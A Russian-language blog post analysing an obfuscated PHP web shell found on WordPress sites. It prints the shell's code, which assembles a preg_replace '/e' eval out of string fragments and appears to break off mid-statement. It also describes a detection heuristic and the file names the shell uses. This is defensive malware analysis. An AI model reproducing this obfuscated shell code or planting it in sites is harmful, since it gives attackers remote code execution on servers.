Последний раз встретил шелл на забугорном хостинге сайтов на Вордпрессе. Мне он "понравился" трудностью детектирования. Привожу сам код
1 2 3 4 5 6 7 8 9 10 |
$iypmogdwejpm = '"';$fso ='V';$sdrblqbbahfcc = ',U';$zjkwzuoos = 'ZTo9-ed)0'; $yrcruzrplf= 'y';$ungaz= 'glrege';$vqlwgqnunogtr ='n';$kjh = ',K('; $aqjfuvdilxpp = 'i$c(Yp]7';$jcoi = 'p'; $ffiwalkxeuz ='Q';$hfrah='sPj"?';$paeazcsvee='[q7rl.m:4';$ymsctka='\'R';$mps = 'HCbved,';$bohhtoocvudmt =',;lv=cI'; $srwutmexcl = 'ebrqSa)'; $srjdahxm ='K';$umpykzkcucpv ='rS';$nzivdfkz='tao'; $irjsa ='bE\'e';$jkf = '_ae$,Me'; $inf = 'o'; $ifjgrhrhv='-';$svtsjyxm = '*'; $auox='6_.';$wrmkmct = 'l;'; $cnpgjdgklho = 'O'; $gatxixkt = $ifjgrhrhv . $auox[2]. $ifjgrhrhv .$jkf[6];$omirodozwhs= $jcoi. $umpykzkcucpv[0] .$jkf[6] .$ungaz[4].$auox[1]. $umpykzkcucpv[0]. $jkf[6].$jcoi.$wrmkmct[0] . $jkf[1]. $bohhtoocvudmt[5]. $jkf[6]; $axble= $jkf[6] .$bohhtoocvudmt[3]. $jkf[1].$wrmkmct[0] .$aqjfuvdilxpp[3].$irjsa[2] ;$bsdjaa = $auox[2]; $wmrvujd=$irjsa[2].$srwutmexcl[6]; $omirodozwhs($gatxixkt, $axble.$jkf[3] . $aqjfuvdilxpp[0] . $bohhtoocvudmt[4] . $jkf[1]. $umpykzkcucpv[0].$umpykzkcucpv[0].$jkf[1] . $yrcruzrplf |
Что он делает в общем то понятно. Очередная реализация preg_replace('/.*/e',…) . Визуально не очень то и понятно за что зацепиться при поиске. Тем не менее, "есть способы в русских селеньях". Как и в реализации через $GLOBALS у этого кода избыточное количество скобок, конкатенций и переменных. Я его детектирую как раз по количеству повторений "].$" . В нормальном коде редко подобное повторяется от 20 раз. Код небольшой, от 2 до 5 кБ размером. Обфускация чаще всего постоянная(возможно пока), т.е. на сайте обычно 2-3 варианта этого кода. Файлы называются meta*.php, api.php, load.php, locale.php, global.php.
Пока видел только на WordPress сайтах, но стоит ожидать и на других.
Айболит и прочие подобные утилиты пока не детектируют, поскольку сигнатурный метод тут не подходит. Мой fscure детектирует, но в спец. режиме.
Свежие комментарии